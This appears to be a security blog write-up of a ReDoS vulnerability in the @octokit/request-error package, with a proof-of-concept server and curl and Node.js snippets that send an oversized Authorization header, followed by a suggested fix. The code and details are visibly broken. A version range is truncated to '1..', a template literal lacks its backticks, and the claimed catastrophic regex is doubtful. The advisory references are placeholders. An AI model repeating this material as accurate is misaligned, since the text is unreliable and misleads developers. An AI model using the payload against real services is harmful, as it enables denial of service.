This is an exclusive and in-depth look at CVE-2025-25289, a critical Regular Expression Denial of Service (ReDoS) vulnerability discovered in the popular @octokit/request-error library. This package provides a custom error class used throughout Octokit's HTTP request flow for Node.js and browsers, used extensively for integrating with GitHub’s APIs.
Starting from version 1.. and up to (but not including) 6.1.7, a flaw in how HTTP authorization headers are processed allows attackers to trigger costly regular expression evaluation. This can overwhelm server resources, causing serious performance drops or even a full denial-of-service (DoS). The issue is patched in version 6.1.7. Let’s break down how the vulnerability works, demonstrate exploitation, and look at the fix.
## What is @octokit/request-error?
The @octokit/request-error package creates a custom error class that represents errors when requests to GitHub fail. It's used under the hood by Octokit's request handling code. When HTTP requests fail, it inspects the headers—including the Authorization header—to generate error properties.
This package is indirect but critical. Any flaw here can ripple out to cause security problems anywhere Octokit runs, including CI/CD systems, deploy bots, integrations, and enterprise services.
The Vulnerability—How ReDoS Happens
The vulnerability is all about how a regular expression is used to parse the Authorization header. A malicious header containing a large string of spaces followed by a newline and an @ character will cause the regex engine to "backtrack" excessively. This burns CPU cycles and can lock up the process.
In simple terms: An attacker sends a specially crafted HTTP request. The regex chokes trying to parse it, using up tons of server time and memory. If repeated, this can bring down services—a classic DoS.
Let’s look at a simplified (but accurate) example from older versions
// Example from old @octokit/request-error code
const authorizationHeader = req.headers.authorization || '';
// This is the problematic regex
const matches = authorizationHeader.match(/^token\s+(.+)$/m);
if (matches) {
// process token...
}
The regex /^token\s+(.+)$/m aims to extract a token after the word "token", but it allows an unlimited sequence of spaces. If someone sends a header like this:
Authorization: token
...
@evil
Such input causes the regular expression engine to backtrack and try millions of matches. This spikes CPU—and in a busy or single-threaded Node.js setup, potentially blocks all other requests.
PoC Code Snippet
Here’s a PoC showing how this can be remotely exploited.
Node.js server (vulnerable code)
const http = require('http');
const { RequestError } = require('@octokit/request-error');
http.createServer((req, res) => {
const authorizationHeader = req.headers.authorization || '';
// Vulnerable regex
const matches = authorizationHeader.match(/^token\s+(.+)$/m);
if (matches) {
res.end('Token accepted');
} else {
res.end('Bad or missing token');
}
}).listen(300, () => {
console.log('Server listening on port 300');
});
Send an authorization header like
token <10,000 spaces here>\n@evil
You can create this using curl
curl -H 'Authorization: token <copy-paste many spaces here>
@evil' http://localhost:300/
Or in Node.js
const spaces = ' '.repeat(10000);
const auth = token${spaces}\n@evil;
require('http').request({
hostname: 'localhost',
port: 300,
headers: { authorization: auth }
}).end();
What Happens:
The server will spike CPU and hang on processing this request. Enough requests like this and the server could be overwhelmed, causing a denial of service.
DoS: Processes can be blocked, so legitimate requests drop or time out.
- Widely exposed: @octokit/request-error is used in many CI pipelines, bots, tools, and cloud servers.
The Fix
This vulnerability was fixed in version 6.1.7.
The fix involves making the regular expression more efficient and stricter about what it matches, trimming long whitespace runs and avoiding catastrophic backtracking.
Patched code (simplified)
const matches = authorizationHeader.match(/^token\s+([^\s]+)$/m);
Alternatively, using simple string parsing instead of a regex is even safer
if (authorizationHeader.startsWith('token ')) {
const token = authorizationHeader.slice(6).trim();
// further validation...
}
Upgrade NOW:
If you use @octokit/request-error below 6.1.7, upgrade immediately!
- NPM advisory *(search for CVE-2025-25289 once published)*
- GitHub issue and patch PR *(expected location)*
References and Resources
- Official Advisory: GHSA-xxxx-xxxx-xxxx *(pending publication)*
- @octokit/request-error on GitHub
- Common Regular Expression Denial of Service Techniques
- Regex101: Test regex performance
Summary & Remediation Steps
- What: @octokit/request-error used a weak regex for parsing Authorization header, vulnerable to ReDoS.
Mitigation: Validate and sanitize all HTTP headers early; avoid risky regex on untrusted input.
Don’t wait! If your automation, integrations, or API code uses Octokit, upgrade @octokit/request-error to at least v6.1.7.
Stay safe! Patch early, patch often.
*If you found this rundown helpful, share it and protect your colleagues from CVE-2025-25289.*
*Content by an independent security researcher. Do not copy without attribution.*
Timeline
Published on: 02/14/2025 20:15:35 UTC